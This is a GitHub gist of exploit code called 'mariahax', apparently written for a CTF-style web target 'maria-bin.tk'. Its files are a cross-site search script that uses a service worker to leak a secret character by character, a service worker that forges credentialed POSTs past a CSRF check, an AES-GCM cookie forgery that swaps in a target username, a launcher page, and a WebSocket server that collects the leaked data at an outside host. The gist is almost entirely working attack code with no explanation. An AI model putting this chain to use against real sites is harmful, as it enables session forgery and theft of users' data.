-
-
Save iczero/746173bf4b71595634b672321a8eb3c2 to your computer and use it in GitHub Desktop.
mariahax
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* eslint-disable jsdoc/require-jsdoc */ | |
// const CHARSET = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'.split(''); | |
const CHARSET = 'abcdefghijklmnopqrstuvwxyz-0123456789'.split(''); | |
const PRELOAD_VALID = ''; // use if script is aborted before finding whole string | |
const LOG_WS = 'wss://pwn.hellomouse.net/'; | |
const SW_PATH = 'https://hellomouse.net/static/mariahax-sw.js'; | |
const COOKIE_HELPER_PATH = 'https://hellomouse.net/static/mariahax-cookie-helper.js'; | |
const SEARCH_ENDPOINT = 'https://app.maria-bin.tk/search'; | |
const CSRF_SPOOF_URL = 'https://raw.maria-bin.tk/view?id=100dcc519bf083fc973bcb0c1f96f030' + | |
encodeURIComponent(`<script type="text/javascript" src="${COOKIE_HELPER_PATH}"></script>`); | |
let logSocket = new WebSocket(LOG_WS); | |
logSocket.addEventListener('open', _event => { | |
doExploit(); | |
}); | |
function log(...msg) { | |
console.log(...msg); | |
if (logSocket.readyState === WebSocket.OPEN) { | |
logSocket.send(JSON.stringify(msg)); | |
} | |
} | |
/** honestly why do i have to implement this every single goddamn time */ | |
class Deferred { | |
constructor() { | |
this.promise = new Promise((resolve, reject) => { | |
this.resolve = resolve; | |
this.reject = reject; | |
}); | |
} | |
} | |
/** @type {Map<string, Deferred>} */ | |
let pendingRPC = new Map(); | |
navigator.serviceWorker.addEventListener('message', event => { | |
let data = event.data; | |
switch (data.type) { | |
case 'ACKNOWLEDGE': { | |
let pending = pendingRPC.get(data.messageId); | |
if (pending) { | |
pendingRPC.delete(data.messageId); | |
pending.resolve(); | |
} | |
break; | |
} | |
default: { | |
log('main window received unknown event type'); | |
} | |
} | |
}); | |
let serviceWorker = null; | |
let targetElement = null; | |
let objectContainer = document.createElement('div'); | |
objectContainer.id = 'load-target-container'; | |
function recreateObject() { | |
if (targetElement && targetElement.parentElement) { | |
targetElement.parentElement.removeChild(targetElement); | |
} | |
targetElement = document.createElement('script'); | |
targetElement.id = 'load-target'; | |
targetElement.type = 'text/javascript'; // LOLOLOLOLOL | |
targetElement.src = SEARCH_ENDPOINT; | |
return new Promise((resolve, _reject) => { | |
targetElement.addEventListener('error', () => { | |
log('script load failure'); | |
resolve(false); | |
}); | |
targetElement.addEventListener('load', () => { | |
log('script load success'); | |
resolve(true); | |
}); | |
objectContainer.appendChild(targetElement); | |
}); | |
} | |
async function setSearch(search) { | |
let messageId = Math.random().toString(); | |
serviceWorker.postMessage({ | |
type: 'SET_SEARCH', | |
search, | |
messageId | |
}); | |
let deferred = new Deferred(); | |
pendingRPC.set(messageId, deferred); | |
await deferred.promise; | |
} | |
async function trySearch(search) { | |
log('trying', search); | |
await setSearch(search); | |
return await recreateObject(); | |
} | |
async function doExploit() { | |
log('hello from exploit script'); | |
log('installing service worker'); | |
await navigator.serviceWorker.register(SW_PATH); | |
serviceWorker = (await navigator.serviceWorker.ready).active; | |
log('service worker installed'); | |
log('adding iframe for cookies'); | |
let iframe = document.createElement('iframe'); | |
iframe.src = CSRF_SPOOF_URL; | |
document.body.appendChild(iframe); | |
let deferred = new Deferred(); | |
let iframeLoadListener = () => { | |
iframe.removeEventListener('load', iframeLoadListener); | |
deferred.resolve(); | |
}; | |
iframe.addEventListener('load', iframeLoadListener); | |
await deferred.promise; | |
log('iframe loaded'); | |
document.body.appendChild(objectContainer); | |
log('starting search'); | |
runSearch(); | |
} | |
async function runSearch() { | |
let valid = PRELOAD_VALID; | |
while (true) { | |
let found = false; | |
for (let i = 0; i < CHARSET.length; i++) { | |
let currentChar = CHARSET[i]; | |
let result = await trySearch(valid + currentChar); | |
if (result) { | |
valid += currentChar; | |
found = true; | |
break; | |
} | |
} | |
// nothing in charset | |
if (!found) { | |
log('end or character not in charset, currently', valid); | |
break; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let token = Buffer.from(decodeURIComponent('THE_COOKIE'), 'base64'); | |
let firstUsername = Buffer.from('SAME_LENGTH_AS_TARGET_VALUE'); | |
let targetUsername = Buffer.from('TARGET_VALUE'); | |
let iv = Buffer.alloc(12); | |
token.copy(iv, 0, 0, 12); | |
let cipherText1 = Buffer.alloc(30); | |
token.copy(cipherText1, 0, 12, 42); | |
let authTag = Buffer.alloc(14); // literally doesn't matter | |
let plainText1 = Buffer.alloc(30); | |
firstUsername.copy(plainText1); | |
let plainText2 = Buffer.alloc(30); | |
targetUsername.copy(plainText2); | |
function xor(buf1, buf2, target, length) { | |
for (let i = 0; i < length; i++) { | |
target[i] = buf1[i] ^ buf2[i]; | |
} | |
} | |
let cipherText2 = Buffer.alloc(32); | |
xor(cipherText1, plainText2, cipherText2, 30); | |
xor(cipherText2, plainText1, cipherText2, 30); | |
cipherText1.copy(cipherText2, 30, 30, 32); | |
let output = Buffer.alloc(58); | |
iv.copy(output); | |
cipherText2.copy(output, 12); | |
authTag.copy(output, 12 + 30); | |
console.log(encodeURIComponent(output.toString('base64'))); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* eslint-disable jsdoc/require-jsdoc */ | |
const TARGET_URL = 'https://app.maria-bin.tk/search'; | |
const TYPE = 'admin'; | |
const LOG_WS = 'wss://pwn.hellomouse.net/'; | |
let logSocket = new WebSocket(LOG_WS); | |
function logInit() { | |
return new Promise((resolve, _reject) => { | |
logSocket.addEventListener('open', () => { | |
log('hello from service worker'); | |
resolve(); | |
}); | |
}); | |
} | |
function log(...msg) { | |
console.log(...msg); | |
if (logSocket.readyState === WebSocket.OPEN) { | |
logSocket.send(JSON.stringify(msg)); | |
} | |
} | |
self.addEventListener('install', event => { | |
self.skipWaiting(); | |
event.waitUntil(logInit()); | |
log('service worker installing'); | |
}); | |
self.addEventListener('activate', _event => { | |
self.clients.claim(); | |
log('service worker activating'); | |
}); | |
let search = null; | |
self.addEventListener('message', event => { | |
let data = event.data; | |
switch (data.type) { | |
// RPC: { type: SET_SEARCH, search, messageId } | |
case 'SET_SEARCH': { | |
search = data.search; | |
event.source.postMessage({ type: 'ACKNOWLEDGE', messageId: data.messageId }); | |
break; | |
} | |
default: { | |
log('unexpected event type from main'); | |
} | |
} | |
}); | |
self.addEventListener('fetch', event => { | |
if (event.request.url === TARGET_URL) { | |
let formData = new URLSearchParams(); | |
formData.append('type', TYPE); | |
formData.append('name', search); | |
formData.append('csrf', 'WHEREISYOURSECURITYNOW'); | |
let request = new Request(event.request, { | |
method: 'POST', | |
body: formData, | |
credentials: 'include' | |
}); | |
event.respondWith(fetch(request)); | |
} | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>exploit all the things</title> | |
</head> | |
<body> | |
<script type="text/javascript" src="https://hellomouse.net/static/mariahax-2.js"></script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const WebSocket = require('ws'); | |
let connectionCount = 0; | |
let wss = new WebSocket.Server({ port: 8031 }); | |
wss.on('connection', ws => { | |
let connectionId = connectionCount++; | |
console.log('new connection', connectionId); | |
ws.on('message', message => { | |
let parsed = null; | |
try { | |
parsed = JSON.parse(message); | |
} catch (err) { | |
console.log(connectionId, message); | |
return; | |
} | |
if (!(parsed instanceof Array)) parsed = [parsed]; | |
console.log.apply(console, [connectionId, ...parsed]); | |
}); | |
ws.on('close', () => console.log('connection closed', connectionId)); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment